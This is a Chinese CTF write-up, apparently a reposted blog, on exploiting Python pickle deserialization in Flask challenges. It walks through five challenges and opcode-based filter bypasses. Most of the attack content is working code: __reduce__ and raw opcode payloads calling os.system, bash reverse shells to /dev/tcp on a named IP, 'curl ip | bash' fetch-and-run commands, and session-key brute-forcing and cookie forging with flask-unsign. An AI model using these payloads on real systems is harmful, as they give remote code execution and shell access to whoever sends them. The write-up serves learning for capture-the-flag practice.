Python中pickle反序列化CTF题目进阶利用技巧

CTF题型 pickle反序列化进阶&例题&opache绕过

文章目录

  • CTF题型 pickle反序列化进阶&例题&opache绕过
  • 一.基础的pickle反序列化
  • 例题
  • 1.[HFCTF 2021 Final]easyflask
  • 2.[0xgame 2023 Notebook]
  • 3.[[HZNUCTF 2023 preliminary\]pickle](https://www.nssctf.cn/problem/3611)
  • 二.基于opcode绕过字节码过滤
  • 如何编写
  • 直接利用payload
  • 例题
  • 4.[[MTCTF 2022\]easypickle](https://www.nssctf.cn/problem/3464)
  • 5.[2021极客巅峰 opcode]
  • 一.基础的pickle反序列化

    pickle反序列化危害极大,不像php反序列化依赖恶意类和方法,而是直接可以RCE

    关键代码

    pickle.dumps(obj[, protocol])

    功能:将obj对象序列化为string形式,而不是存入文件中。
    参数:
    obj:想要序列化的obj对象。
    protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

    pickle.loads(string)

    功能:从string中读出序列化前的obj对象。
    参数:
    string:文件名称。

    漏洞有关的魔术方法
    __reduce__

    构造方法,在反序列化的时候自动执行,类似于php中的_wake_up

    __setstate__

    在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。

    常用payload(没有os模块)

    import pickle
    import base64
     
    class A(object):
        def __reduce__(self):
            return (eval, ("__import__('os').popen('tac /flag').read()",))
        
    a = A()
    a = pickle.dumps(a)
    print(base64.b64encode(a))
    
    
    

    环境有os模块

    import pickle
    import os
    import base64
    
    class aaa():
        def __reduce__(self):
            return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))
    
    a= aaa()
    
    payload=pickle.dumps(a)
    
    payload=base64.b64encode(payload)
    print(payload)
    
    #注意payloads生成的shell脚本需要在目标机器操作系统上执行,否则会报错
    
    

    所以最好所有poc在linux上生成

    例题

    1.[HFCTF 2021 Final]easyflask

    https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask

    非预期(任意文件读取)

    image-20240325085226157

    直接读环境变量/proc/1/environ

    image-20240325085331374

    预期解

    app源码

    
    #!/usr/bin/python3.6
    import os
    import pickle
    
    from base64 import b64decode
    from flask import Flask, request, render_template, session
    
    app = Flask(__name__)
    app.config["SECRET_KEY"] = "*******"
    
    User = type('User', (object,), {
        'uname': 'test',
        'is_admin': 0,
        '__repr__': lambda o: o.uname,
    })
    
    
    @app.route('/', methods=('GET',))
    def index_handler():
        if not session.get('u'):
            u = pickle.dumps(User())
            session['u'] = u
        return "/file?file=index.js"
    
    
    @app.route('/file', methods=('GET',))
    def file_handler():
        path = request.args.get('file')
        path = os.path.join('static', path)
        if not os.path.exists(path) or os.path.isdir(path) \
                or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
            return 'disallowed'
    
        with open(path, 'r') as fp:
            content = fp.read()
        return content
    
    
    @app.route('/admin', methods=('GET',))
    def admin_handler():
        try:
            u = session.get('u')
            if isinstance(u, dict):
                u = b64decode(u.get('b'))
            u = pickle.loads(u)
        except Exception:
            return 'uhh?'
    
        if u.is_admin == 1:
            return 'welcome, admin'
        else:
            return 'who are you?'
    
    
    if __name__ == '__main__':
        app.run('0.0.0.0', port=80, debug=False)
    
    

    直接读环境变量/proc/1/environ

    发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

    可以直接伪造secret_key

    image-20240325092958651

    漏洞代码

    @app.route('/admin', methods=('GET',))
    def admin_handler():
        try:
            u = session.get('u')
            if isinstance(u, dict):
                u = b64decode(u.get('b'))
            u = pickle.loads(u)
        except Exception:
            return 'uhh?'
    

    伪造session实现 读取 u 中的 b值

    对b中的值进行反序列化,可以直接触发RCE

    >flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

    在linux系统下运行

    import os
    import pickle
    import base64
    User = type('User', (object,), {
        'uname': 'test',
        'is_admin': 0,
        '__repr__': lambda o: o.uname,
        '__reduce__': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"',))
    })
    user=pickle.dumps(User())
    print(base64.b64encode(user).decode())
    

    生成后伪造

    image-20240325093400538

    用hackerbar发cookie触发

    image-20240325093456429

    可以反弹shell

    2.[0xgame 2023 Notebook]

    当时环境是给了源码

    from flask import Flask, request, render_template, session
    import pickle
    import uuid
    import os
    
    app = Flask(__name__)
    app.config['SECRET_KEY'] = os.urandom(2).hex()
    
    class Note(object):
        def __init__(self, name, content):
            self._name = name
            self._content = content
    
        @property
        def name(self):
            return self._name
        
        @property
        def content(self):
            return self._content
    
    
    @app.route('/')
    def index():
        return render_template('index.html')
    
    
    @app.route('/<path:note_id>', methods=['GET'])
    def view_note(note_id):
        notes = session.get('notes')
        if not notes:
            return render_template('note.html', msg='You have no notes')
        
        note_raw = notes.get(note_id)
        if not note_raw:
            return render_template('note.html', msg='This note does not exist')
        
        note = pickle.loads(note_raw)
        return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
    
    
    @app.route('/add_note', methods=['POST'])
    def add_note():
        note_name = request.form.get('note_name')
        note_content = request.form.get('note_content')
    
        if note_name == '' or note_content == '':
            return render_template('index.html', status='add_failed', msg='note name or content is empty')
        
        note_id = str(uuid.uuid4())
        note = Note(note_name, note_content)
    
        if not session.get('notes'):
            session['notes'] = {}
        
        notes = session['notes']
        notes[note_id] = pickle.dumps(note)
        session['notes'] = notes
        return render_template('index.html', status='add_success', note_id=note_id)
    
    
    @app.route('/delete_note', methods=['POST'])
    def delete_note():
        note_id = request.form.get('note_id')
        if not note_id:
            return render_template('index.html')
        
        notes = session.get('notes')
        if not notes:
            return render_template('index.html', status='delete_failed', msg='You have no notes')
        
        if not notes.get(note_id):
            return render_template('index.html', status='delete_failed', msg='This note does not exist')
        
        del notes[note_id]
        session['notes'] = notes
        return render_template('index.html', status='delete_success')
    
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=8000, debug=False)
    

    题目分析:

    app.config['SECRET_KEY'] = os.urandom(2).hex()

    secret_key是弱密钥可以爆破 进行伪造

    @app.route('/<path:note_id>', methods=['GET'])
    def view_note(note_id):
        notes = session.get('notes')
        if not notes:
            return render_template('note.html', msg='You have no notes')
        
        note_raw = notes.get(note_id)
        if not note_raw:
            return render_template('note.html', msg='This note does not exist')
        
        note = pickle.loads(note_raw)
        return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
    

    session伪造的结构{‘notes’:{‘note_id’:‘payload’}}

    /<path:note_id> 路由下

    pickle.loads 触发反序列化

    题目环境有os可以用os.system执行任意命令

    具体操作

    生成爆破密钥

    import os
    while True:
        secret_key=os.urandom(2).hex()
        with open("Desktop/secret_key.txt","a") as f:
            f.write(secret_key+'\n')
        
    

    解析session

    C:\Users\Administrator>flask-unsign --decode --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0"
    C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\requests\__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
      warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
    {'notes': {'769b57ff-3d73-433a-811e-2bca92371c39': b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x011\x94\x8c\x08_content\x94h\x06ub.'}}
    

    爆破 secret_key

    flask-unsign --unsign --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0" -w "C:\Users\Administrator\Desktop\secret_key.txt"  --no-literal-eval
    

    image-20240325113320643

    拿到 f991

    linux下运行 题目环境有os模块

    import pickle
    import os
    import base64
    
    class aaa():
        def __reduce__(self):
            return(os.system,('curl ip/1 |bash',))
    
    a= aaa()
    
    payload=pickle.dumps(a)
    print(payload)
    

    image-20240325113542122

    利用 curl 反弹shell(适用于bash/zsh) 拿到payloadb'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'

    要伪造的session{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}

    flask-unsign --sign --cookie "{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}" --secret "f991"
    

    image-20240325122756770

    image-20240325122818244

    可以弹回shell

    image-20240325122844869

    3.[HZNUCTF 2023 preliminary]pickle

    
    import base64
    import pickle
    from flask import Flask, request
    
    app = Flask(__name__)
    
    
    @app.route('/')
    def index():
        with open('app.py', 'r') as f:
            return f.read()
    
    
    @app.route('/calc', methods=['GET'])
    def getFlag():
        payload = request.args.get("payload")
        pickle.loads(base64.b64decode(payload).replace(b'os', b''))
        return "ganbadie!"
    
    
    @app.route('/readFile', methods=['GET'])
    def readFile():
        filename = request.args.get('filename').replace("flag", "????")
        with open(filename, 'r') as f:
            return f.read()
    
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0')
    

    非预期

    /readFile?filename=/proc/1/environ

    flag在环境变量里

    预期 关键代码

    @app.route('/calc', methods=['GET'])
    def getFlag():
        payload = request.args.get("payload")
        pickle.loads(base64.b64decode(payload).replace(b'os', b''))
        return "ganbadie!"
    

    将os替换为空

    用没有os的payload

    import pickle
    import base64
     
    class A(object):
        def __reduce__(self):
            return (eval, ("__import__('o'+'s').popen('curl 148.135.82.190/2 | bash').read()",))
        
    a = A()
    a = pickle.dumps(a)
    print(base64.b64encode(a))
    

    直接反弹shell

    image-20240325134423813

    image-20240325134508301

    二.基于opcode绕过字节码过滤

    对于一些题会对传入的数据进行过滤

    例如

    1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

    2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

    这个时候考虑用用到opcode
    Python中的pickle更像一门编程语言,一种基于栈的虚拟机

    什么是opcode

    Python 的 opcode(operation code)是一组原始指令,用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符,代表一种特定的操作或指令。
    在 Python 中,源代码首先被编译为字节码,然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中,并由Python 解释器按顺序解释和执行。

    每个 opcode 都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的
    opcode,以支持各种操作和语言特性。

    INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象

    如何编写

    原理建议直接参考https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYeeiKDtD9DcjlYD#toc-11

    没有比这篇先知文章写的更好的

    辅助生成工具pker:https://github.com/eddieivan01/pker

    一般用于绕过 find_class 黑名单/白名单限制

    pker用法

    GLOBAL
    对应opcode:b’c’
    获取module下的一个全局对象(没有import的也可以,比如下面的os):
    GLOBAL(‘os’, ‘system’)
    输入:module,instance(callable、module都是instance)

    INST
    对应opcode:b’i’
    建立并入栈一个对象(可以执行一个函数):
    INST(‘os’, ‘system’, ‘ls’)
    输入:module,callable,para

    OBJ
    对应opcode:b’o’
    建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
    OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)
    输入:callable,para

    xxx(xx,…)
    对应opcode:b’R’
    使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

    li[0]=321

    globals_dic[‘local_var’]=‘hello’
    对应opcode:b’s’
    更新列表或字典的某项的值

    xx.attr=123
    对应opcode:b’b’
    对xx对象进行属性设置

    return
    对应opcode:b’0’
    出栈(作为pickle.loads函数的返回值):
    return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

    对于做题而言会opache改写就行了

    INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象

    直接利用payload

    base64后的数据过滤的关键词

    RCE demo:
    
    R可用:
    b'''cos\nsystem\n(S'whoami'\ntR.'''
    
    
    i可用
    b'''(S'whoami'\nios\nsystem\n.'''
    
    
    
    o可用
    b'''(cos\nsystem\nS'whoami'\no.'''
    
    特殊情况
    无R,i,o 但是os可用
    b'''(cos\nsystem\nS'calc'\nos.'''
    
    
    无R,i,o os 可过  + 关键词过滤
    b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
    V操作码是可以识别\u (unicode编码绕过)
    特别是命令有特殊功能字符
    

    易错点 \n是换行如果用赛博厨子 会将 \n 当作字符处理,易出错
    可以直接拼接pickle数据(不用伪造flask-session的题)
    直接将base64-decode数据最后的.去掉后贴payload直接打反弹shell

    用python处理base64编码

    import base64
    opcode=b''''''
    print(base64.b64encode(opcode))
    

    例题

    4.[MTCTF 2022]easypickle

    当时题目环境给了源码的

    import base64
    import pickle
    from flask import Flask, session
    import os
    import random
    
    app = Flask(__name__)
    app.config['SECRET_KEY'] = os.urandom(2).hex()
    
    @app.route('/')
    def hello_world():
        if not session.get('user'):
            session['user'] = ''.join(random.choices("admin", k=5))
        return 'Hello {}!'.format(session['user'])
    
    
    @app.route('/admin')
    def admin():
        if session.get('user') != "admin":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            try:
                a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
                if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                    raise pickle.UnpicklingError("R i o b is forbidden")
                pickle.loads(base64.b64decode(session.get('ser_data')))
                return "ok"
            except:
                return "error!"
    
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=8888)
    
    

    decode一下session

    image-20240325193053142

    os.urandom(2).hex() 爆破session

    image-20240326084806581

    爆破密钥为 dabe

    构造类似的payload{'user':'admin','ser_data':'payload'}

    漏洞代码

    @app.route('/admin')
    def admin():
        if session.get('user') != "admin":
            return f"<script>alert('Access Denied');window.location.href='/'</script>"
        else:
            try:
                a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
                if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                    raise pickle.UnpicklingError("R i o b is forbidden")
                pickle.loads(base64.b64decode(session.get('ser_data')))
                return "ok"
            except:
                return "error!"
    

    存在逻辑问题

    替换后的 a 进行检查 R i o b 但是实际反序列化是ser_data

    因此os中o可以存在,但是单独的o是被禁止的,因为os被替换成Os,但对后续ser_data不影响

    bash -c 'sh -i >& /dev/tcp/ip/port 0>&1'环境只有sh

    将前面总结的payload改写一下

    b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0031\u0034\u0038\u002E\u0031\u0033\u0035\u002E\u0038\u0032\u002E\u0031\u0039\u0030\u002F\u0038\u0038\u0038\u0038\u0020\u0030\u003E\u0026\u0031\u0027\nos.'''
    

    KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu

    伪造session数据:

    {'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu'}
    

    易错 flask-unsign --sign --cookie "" 里面就不要用""包裹了 重要!!!会产生歧义

    image-20240326085329272

    可以成功反弹shell

    5.[2021极客巅峰 opcode]

    from flask import Flask
    from flask import request
    from flask import render_template
    from flask import session
    import base64
    import pickle
    import io
    import builtins
    
    class RestrictedUnpickler(pickle.Unpickler):
        blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
        def find_class(self, module, name):
            if module == "builtins" and name not in self.blacklist:
                return getattr(builtins, name)
            raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
    
    def loads(data):
        return RestrictedUnpickler(io.BytesIO(data)).load()
    
    
    app = Flask(__name__)
    
    app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"
    
    @app.route('/admin', methods = ["POST","GET"])
    def admin():
        if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
            return "not admin"
        try:
            data = base64.b64decode(session['data'])
            if "R" in data.decode():
                return "nonono"
            pickle.loads(data)
        except Exception as e:
            print(e)
        return "success"
    
    @app.route('/login', methods = ["GET","POST"])
    def login():
        username = request.form.get('username')
        password = request.form.get('password')
        imagePath = request.form.get('imagePath')
        session['username'] = username + password
        session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
        try:
            f = open(imagePath,'rb').read()
        except Exception as e:
            f = open('static/image/error.png','rb').read()
        imageBase64 = base64.b64encode(f)
        return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))
    
    @app.route('/', methods = ["GET","POST"])
    def index():
        return render_template("index.html")
    if __name__ == '__main__':
        app.run(host='0.0.0.0', port='8888')
    
    

    注册后解码session

    image-20240326091152230

    已知secret_key:y0u-wi11_neuer_kn0vv-!@#se%32可以进行伪造

    关键过滤:

    if "R" in data.decode():
                return "nonono"
    

    从其他方向回调函数即可 例如从i方向

    b'''(S'bash -c 'sh -i >& /dev/tcp/148.135.82.190/8888 0>&1''\nios\nsystem\n.'''

    base64编码后 KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTQ4LjEzNS44Mi4xOTAvODg4OCAwPiYxJycKaW9zCnN5c3RlbQou

    伪造session {'data': b'KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTQ4LjEzNS44Mi4xOTAvODg4OCAwPiYxJycKaW9zCnN5c3RlbQou', 'username': 'admin'}

    image-20240326091942730

    image-20240326091927190

    可以成功反弹shell
    以后有时间手写一遍分析pvm的原理

    作者:J1rrY_

    物联沃分享整理
    物联沃-IOTWORD物联网 » Python中pickle反序列化CTF题目进阶利用技巧

    发表回复